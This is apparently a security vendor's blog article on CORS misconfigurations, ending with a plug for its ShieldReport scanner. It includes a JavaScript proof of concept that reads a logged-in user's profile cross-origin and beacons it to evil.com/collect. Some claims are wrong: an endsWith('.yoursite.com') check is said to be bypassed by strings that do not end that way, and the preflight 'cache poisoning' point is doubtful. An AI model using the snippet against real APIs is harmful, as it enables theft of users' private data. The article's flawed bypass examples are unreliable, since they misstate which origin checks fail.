CORS Misconfigurations: How a Single Header Can Expose Your Entire API

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which domains can make requests to your API. When misconfigured, it's not just a minor oversight — it's a direct path for attackers to steal authenticated data from your users. CORS misconfigurations ranked among the most exploited web vulnerabilities in 2024, and the trend is accelerating.

How CORS Is Supposed to Work

By default, browsers enforce the Same-Origin Policy: a script on evil.com cannot read responses from api.yoursite.com. CORS relaxes this restriction by letting your server declare which origins are trusted. The critical header is Access-Control-Allow-Origin.

The problem emerges when developers need cross-origin access during development, set a permissive policy, and never tighten it for production.

The Wildcard Trap

Setting Access-Control-Allow-Origin: * allows any website in the world to read responses from your API. If your API serves public, non-authenticated data, this might be acceptable. But many developers combine a wildcard origin with Access-Control-Allow-Credentials: true — or worse, dynamically reflect the requesting origin without validation.

When the origin is reflected, an attacker's site can make authenticated requests to your API, and the browser will happily hand over the response — complete with the victim's session data.

A Real Attack Scenario

Consider an API endpoint /api/user/profile that returns the authenticated user's personal data. If the server reflects any origin with credentials allowed:

// Attacker's page on evil.com
fetch('https://api.yoursite.com/api/user/profile', {
  credentials: 'include'
})
.then(r => r.json())
.then(data => {
  // Send stolen data to attacker's server
  navigator.sendBeacon('https://evil.com/collect', JSON.stringify(data));
});

When a logged-in user visits the attacker's page, their browser sends the request with cookies attached. The server sees a valid session, returns private data, and the browser — seeing the permissive CORS headers — gives the response to the attacker's script. The user notices nothing.

Common Misconfiguration Patterns

• Origin reflection: The server copies the Origin request header into Access-Control-Allow-Origin without validation. Every origin is trusted.
• Null origin trust: Allowing Origin: null is dangerous because sandboxed iframes and local file requests send a null origin. Attackers use sandboxed iframes to exploit this.
• Subdomain wildcarding with regex flaws: A check like origin.endsWith('.yoursite.com') is bypassed by evil-yoursite.com or yoursite.com.evil.com.
• Pre-flight cache abuse: Overly long Access-Control-Max-Age values let attackers poison the CORS pre-flight cache, persisting the misconfiguration.

Why This Is Hard to Detect

CORS misconfigurations don't produce errors. The application works perfectly. There are no server-side logs showing the problem because the browser handles enforcement. The only way to detect it is to actively test with cross-origin requests from untrusted origins — which is not part of standard functional testing.

The Scope of Impact

A CORS misconfiguration exposes every API endpoint on the affected domain. It's not one piece of data — it's everything the authenticated user can access. Account details, transaction history, private messages, API keys, connected accounts. If the API supports write operations, the attacker can also modify data on behalf of the victim.

ShieldReport tests your domain's CORS configuration against known exploitation patterns, identifying unsafe origin policies before attackers use them to access your users' data.